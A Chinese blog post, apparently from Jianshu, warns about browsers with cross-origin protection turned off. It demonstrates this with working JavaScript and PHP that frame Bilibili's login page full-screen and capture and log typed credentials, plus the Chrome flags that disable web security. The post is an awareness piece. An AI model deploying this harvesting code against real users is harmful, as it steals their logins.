一個解除跨域限制的瀏覽器有多危險

這次我們來看看解除瀏覽器跨域限制是有多么容易被盜取信息。

最開始遇到跨域的時候,那時候還是一個懵懂的椎風少年。。那時候和一個朋友一起開發(fā)一個網(wǎng)站,由于他那時候在深圳,我在上海。利用的是他的云服務器進行開發(fā),結果我前端上怎么都不能獲取到他給我的網(wǎng)站返回的信息。查了一堆資料才發(fā)現(xiàn)是跨域問題。又找不到解決辦法,最后還是用nginx來解決的跨域。。想想還真是凄慘。

_如果還有不了解什么是同源,什么是跨域的,剛好前幾天我在簡書里看到了一個人發(fā)表的文章說的是這個,這里直接甩個鏈接。想了解的可以去看看。希望那位博主不要打我。
<a target = "blank" href="http://www.itdecent.cn/p/beb059c43a8b" >前端必備HTTP技能之同源策略詳解</a> ←點擊跳轉(zhuǎn)。

這里我們來假設一個環(huán)境

  • 首先我們的瀏覽器是跨域的。
  • 然后我們打開了平時我們經(jīng)常登錄的網(wǎng)站。
  • 由于是我們經(jīng)常打開的網(wǎng)站,所以也不會太去關注URL,當然也有人根本就不看URL的;
  • 然后網(wǎng)頁和我們平時打開的網(wǎng)站沒啥區(qū)別,沒毛病。
  • 最后我們登錄自己的賬號密碼,好了。被盜了。。

當然只要平時電腦玩的多的人,一般都不會上這樣的當。所以我們這里的目的只是為了舉一個簡單的例子來讓大家了解一下。還是那句話,遨游在網(wǎng)絡的世界,防范的再安全都不為過。

這里來分析一下具體實現(xiàn)

  • 首先我在HTML里面寫一個iframe標簽,里面嵌套某個網(wǎng)站。這里為了簡潔,我們直接用的登錄頁面。
    • 其實我本來是想用簡書的登錄頁面來實驗的。結果簡書這網(wǎng)站不讓別人用iframe嵌套。絕,真絕了。。
    • 然后我就打開了我敬愛的大B站。因此這里是用的B站的登錄頁面做示例。
  • 修改iframe的樣式,讓其鋪滿整個屏幕,看起來就和原來的網(wǎng)站沒有什么區(qū)別了。
  • 獲取iframe內(nèi)部的document對象。
  • 有了document對象,我們就能操控登錄按鈕了,在你點擊登錄的時候,拿到所有的input標簽中的值。
  • 通過AJAX發(fā)送到自己的后臺代碼,然后寫入到一個文件里。

代碼部分:

  1. HTML

利用iframe導入一個網(wǎng)址即可

      <iframe src="https://passport.bilibili.com/login" frameborder="0" id="iframe"></iframe>

  1. CSS

CSS在這里的目的只是讓iframe全屏顯示而已。

```
    html,body{
        margin: 0;
        padding: 0;
        height: 100%;
        overflow: hidden;
    }
    iframe{
        width: 100%;
        height: 100%;
    }
3. JS部分
> 主要就是負責獲取到iframe中的document對象,然后進行dom操作而已

window.onload = function(){
        // 獲取iframe的元素
        var iframeObj = document.querySelector('#iframe');
        var iframeDocument = iframeObj.contentWindow.document;
        // 獲取登錄按鈕的
        var login = iframeDocument.querySelector('input[type=submit]');

        login.onclick = function(){
            // 創(chuàng)建一個空對象
            var info = {};
            // 遍歷所有的input標簽
            var input = iframeDocument.querySelectorAll('input');
            for (var i = 0; i < input.length; i++) {
                // 將數(shù)據(jù)放入一個對象中
                info[input[i].name] = input[i].value;
            }
            console.log(info);
            // 現(xiàn)在就有了input里面的所有數(shù)據(jù)了
            // 這時候發(fā)送一個ajax請求給自己的服務器
            // 創(chuàng)建一個異步對象
            var xhr = new XMLHttpRequest();
            // 設置method和url
            xhr.open('post','login.php');
            // 設置content-type
            xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
            
            // 監(jiān)聽狀態(tài)
            xhr.onreadystatechange = function(){
                //請求完成且找到網(wǎng)站
                if(xhr.readyState == 4 && xhr.status == 200){
                    console.log(xhr.responseText);                      
                } 
            }
            // 發(fā)送請求
            xhr.send('info='+JSON.stringify(info));

            // return false;

        }
          //console.log(iframeDocument);
    }
4. PHP部分
> 主要是用來將獲取到的文件寫入文本中

<?php 
$info = $_POST['info'];
print_r($info);
// 寫入文件
file_put_contents('info.txt', $info.PHP_EOL,FILE_APPEND);
echo "ok";

?>



這里給個鏈接,有興趣的可以點進去玩玩。
<a target = "_black"  >利用iframe嵌入的BILIBILI的登錄頁面</a>
<a target = "_black"  >查看剛剛自己輸入的值</a>
或者直接修改url最后的`login.html`為`login.txt`

當然,你的瀏覽器必須先接觸跨域才能這么玩。。
至于解除的辦法,chrome瀏覽器的話,看下圖。其他瀏覽器的話,請自行百度吧。我并沒有研究。。。

![解除chrome瀏覽器的跨域.gif](http://upload-images.jianshu.io/upload_images/3521314-5f414953db1cf872.gif?imageMogr2/auto-orient/strip)

在你的chrome上右鍵=》屬性,然后在目標的最后,敲上一個空格,再把--args --disable-web-security --user-data-dir  這一坨復制上去。

###### *注意:進入瀏覽器的時候會給你一個提示,告訴你有安全問題,玩完之后記得刪掉后面這串。*

例子雖然比較簡單,但是應該還是表達出了我想說的。。

#### 結語:
1. 在自己不熟悉瀏覽器的某些安全機制的時候,不要去隨意的改動。
2. 實際開發(fā)中,我們不得不面臨著需要跨域的時候。解決跨域的方法也有很有,之前提到的那個博主的那篇博文里面都有寫。感興趣的可以去看看,而且跨域問題面試的時候也經(jīng)常被問到。
3. iframe嵌套進來的網(wǎng)站可以正常運行,登錄什么的都沒毛病。。要是點網(wǎng)站進去玩的時候,千萬記得不要真登錄了。。隨便敲點數(shù)據(jù)玩玩就行了。
最后編輯于
?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

  • 什么是跨域? 2.) 資源嵌入:、、、等dom標簽,還有樣式中background:url()、@font-fac...
    電影里的夢i閱讀 2,475評論 0 5
  • Spring Cloud為開發(fā)人員提供了快速構建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 136,578評論 19 139
  • 大家好,我是IT修真院鄭州分院第一期的學員胡嘉杰,一枚正直純潔善良的WEB前端程序員。 今天給大家分享一下,修真院...
    ithinker5閱讀 547評論 0 1
  • 第一章總則 第一條為了保障食品安全,加強食品生產(chǎn)監(jiān)管,規(guī)范食品生產(chǎn)許可活動,根據(jù)《中華人民共和國食品安全法》和其實...
    小好閱讀 396評論 0 2
  • 光陰是我們這一生最大的敵人, 我們在它的手掌里暗自神傷, 等著看吧, 總會有那么一天,總會有那么一天, 奪走你的路...
    董之堯閱讀 231評論 5 0

友情鏈接更多精彩內(nèi)容